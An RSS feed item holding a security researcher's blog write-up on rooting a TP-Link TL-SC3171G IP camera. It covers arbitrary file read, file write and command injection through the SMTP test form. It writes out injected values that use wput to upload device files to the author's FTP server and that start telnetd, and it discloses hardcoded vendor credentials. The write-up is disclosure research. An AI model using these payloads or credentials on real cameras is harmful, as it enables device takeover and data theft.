<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>root &#8211; Team ROT Information Security</title>
	<atom:link href="/category/root/feed/" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>Team ROT Information Security</description>
	<lastBuildDate>Sat, 29 Aug 2020 10:50:44 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2</generator>

<image>
	<url>/wp-content/uploads/2020/08/cropped-ROT2-WHITE-BG.eps_-2-32x32.png</url>
	<title>root &#8211; Team ROT Information Security</title>
	<link>/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>TP-Link TL-SC3171G IP-camera r00t</title>
		<link>/tp-link-tl-sc3171g-ip-camera-r00t/</link>
					<comments>/tp-link-tl-sc3171g-ip-camera-r00t/#respond</comments>
		
		<dc:creator><![CDATA[jvesiluoma]]></dc:creator>
		<pubDate>Fri, 17 Feb 2017 00:11:08 +0000</pubDate>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[Writeup]]></category>
		<guid isPermaLink="false">http://blog.rot.fi/?p=688</guid>

					<description><![CDATA[Hacking TP-Link TL-SC3171G IP-camera and gaining root access.]]></description>
										<content:encoded><![CDATA[<h1 style="text-align: center;">TP-Link TL-SC3171G IP-camera r00t</h1>
<hr>
<p><a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image001.png"><img decoding="async" class="size-full wp-image-641 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image001.png" alt="" width="270" height="364"></a><br />
I have few of these and due to recent hackings of ip – cameras and IoT devices, I decided to take a look at my own cameras (that are behind NAT by the way)… It was an interesting thing to do some research on these devices and they were actually very easy to pop.<br />
Here is a method to root the device. Browsers connection was through Burp Suite so I could intercept and check the requests back and forth between the device and my browser. Of course, OWASP ZAP or something similar could also be used to do this.<br />
<a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image002.jpg"><img decoding="async" class=" wp-image-642 alignnone" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image002.jpg" alt="" width="718" height="357"></a><br />
<em>TP-Link TL-SC3171G IP-camera main settings view.</em><br />
When browsing through the the web interface, I ended up to a page that showed devices syslog. Interesting.<br />
<a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image003.jpg"><img decoding="async" class=" wp-image-643 alignnone" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image003.jpg" alt="" width="683" height="462"></a><br />
When checking the requests that were made to that page, I noticed that there was a very interesting request made to the device. It seems like the file is given as a parameter…<br />
<a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image004.png"><img decoding="async" class=" wp-image-644 alignnone" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image004.png" alt="" width="699" height="291"></a><br />
”<strong>READ.filePath=syslog”</strong> ? I changed that parameter to ”/etc/hosts” – file and noticed that I could read files from the device file system. Any file.<br />
<a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image005.png"><img decoding="async" class="wp-image-645 alignnone" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image005.png" alt="" width="695" height="179"></a><br />
Now this would already be bad, more if I would have the knowledge for all the config files on this embedded system…<br />
After some enumeration, I didn’t find any ’jackpot’, so I moved on…After few minutes of research I found another interesting request that was made when testing the SMTP option on the device.</p>
<p style="text-align: center;"><a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image006.png"><img decoding="async" class=" wp-image-646 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image006.png" alt="" width="721" height="579"></a></p>
<p>#1: I found a request that enabled me to write files anywhere I would like on the device. Thought this didn’t help me much, since I didn’t know where the cgi-bin was and there were no open ssh/telnet ports etc.<br />
<img decoding="async" class=" wp-image-647 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image007.jpg" alt="" width="765" height="271"><br />
#2: that same ”Test” option sended another request. It compiled a command from the info user had filled to the form.</p>
<p style="text-align: center;"><a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image008.png"><img decoding="async" class=" wp-image-648 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image008.png" alt="" width="757" height="291"></a></p>
<p>As can be seen from the Response, the email-test command is composed from the sended values. After some tests I found out that the device had ’wput’ command (that was clear based on the FTP connection tests via devices admin page). I was able to upload all files to my own server with ’wput’, after I&nbsp; changed ”RcptToAddr1” value for example to…</p>
<ul>
<li><em>nonexisting@example.fi ; /bin/wput -t0 -u -nc -p -o/testftp.log /bin* </em><a href="ftp://xyz:xyz@10.0.0.8/"><em>ftp://xyz:xyz@10.0.0.8/</em></a><em>;</em>
<ul>
<li>Note 1: value had to be URL encoded so it goes through.</li>
<li>Note 2: Probably all variables include RCE possibility on that request since they are not properly sanitized.</li>
</ul>
</li>
</ul>
<p style="text-align: center;"><a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image009.png"><img decoding="async" class=" wp-image-649 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image009.png" alt="" width="554" height="583"></a></p>
<p>After I downloaded almost everything from the device ((/var/*, /etc/*, /web/*, /root/*, /usr/*, /bin/* /sbin/*…) through the FTP connection, I researched the files and noticed that there was telnetd in the busybox version included in the device. I once again modified the command through the email command (of course, in URL encoded format):</p>
<ul>
<li><em>xyz@x00.fi; /bin/telnetd ;</em></li>
</ul>
<p>And the gates were open…now port 23 answered:</p>
<p style="text-align: center;"><a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image010.jpg"><img decoding="async" class=" wp-image-650 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image010.jpg" alt="" width="312" height="101"></a></p>
<p>After few tests I noticed that the default user is ’qmik’ (argh, it says ”<em>QMIK login”…</em>) and the user had sudo rights.</p>
<p style="text-align: center;">&nbsp;&nbsp;&nbsp;<a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image011.jpg"><img decoding="async" class=" wp-image-651 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image011.jpg" alt="" width="501" height="227"></a> <a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image012.jpg"><img decoding="async" class=" wp-image-652 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image012.jpg" alt="" width="545" height="93"></a></p>
<p>Of course, prerequisite is that one would have access to the email test page and that requires admin rights to the device. But no worries, after some enumeration of files, I noticed that there is hardcoded credentials in the device ( <em>manufacture</em> / <em>erutcafunam </em>)…<br />
Oh, and that IP-camera doesn&#8217;t use any CSRF tokens, so it&#8217;s also possible to get your camera hacked by just visiting some malicious sites (if you&#8217;re logged in to the camera). Oh yes, and did you notice that the camera uses basic HTTP auth? That means your browser stays logged in until you close the browser.</p>
<p style="text-align: center;"><a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image013.jpg"><img decoding="async" class=" wp-image-653 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image013.jpg" alt="" width="688" height="190"></a></p>
<p style="text-align: left;">&#8211; apox</p>
]]></content:encoded>
					
					<wfw:commentRss>/tp-link-tl-sc3171g-ip-camera-r00t/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
